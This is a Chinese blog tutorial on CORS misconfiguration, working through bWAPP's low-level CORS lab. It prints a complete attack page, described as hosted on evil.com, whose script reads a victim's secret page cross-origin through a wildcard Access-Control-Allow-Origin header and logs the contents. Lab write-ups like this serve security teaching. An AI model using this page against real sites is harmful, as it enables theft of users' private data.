关于那些Web漏洞--CORS

CORS

CORS(Cross-origin resource sharing),又称跨域资源共享。CORS的内容不叙述,可以阅读MDN文档。或者,阅读这篇文章:跨域资源共享 CORS 详解,同时还需要了解同源策略。CORS是一种实现ajax跨域加载资源的机制,如果CORS配置不当,就可能出现安全问题。是否存在安全问题,需要关注的响应头是:Access-Control-Allow-Origin,它确定了可以访问页面的来源。

BWAPP的CORS测试

low级别

1、主页面,点击 secret 跳转页面。

在这里插入图片描述2、假设这是用户的页面,攻击者的目的是盗取里面的sercet内容。查看请求这个页面时的HTTP响应头,从Access-Control-Allow-Origin头可以看出服务器配置了CORS," * "表示所有的源服务器都可以加载这个页面上的资源。既然如此,攻击者直接发送一个自己构造的页面链接(也许攻击者自己站点的一个页面)给用户,用户点击后,攻击页面使用ajax就可以直接读取另一个网站的敏感信息。

网站页面
HTTP响应头3、攻击页面:http://www.evil.com/test.html

<!DOCTYPE html>
<html lang="en">
<head></head>
<body>
    <script>
        window.onload = function(){
            var xhr =new XMLHttpRequest();                     // 创建AJAX的对象
            // 设置使用的请求方式
            xhr.open('get','http://192.168.253.132/bwapp/bwapp/secret-cors-1.php' ,true); 
            xhr.send();                    // 发送请求

            xhr.onreadystatechange=function(){
                if(xhr.readyState === 4 ){    // 状态 4 表示服务器已响应
                    // 判断正常的响应结果的状态码
                    if(xhr.status >=200 && xhr.status<300 || xhr.status === 304){
                        console.log(xhr.responseText);          // 获取响应体内容
                    }else{
                        console.log('0');
                    }
                }
            }
        }
    </script>
</body>
</html>

4、用户点击这个链接,加载test.html页面,里面的js代码就会执行,然后向目标页面(要盗取数据的页面)发送请求,处理响应结果。可以看到,控制台输出的信息就是另一个网站的页面信息。这就说明了攻击者能窃取数据。

攻击者服务器上的页面

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值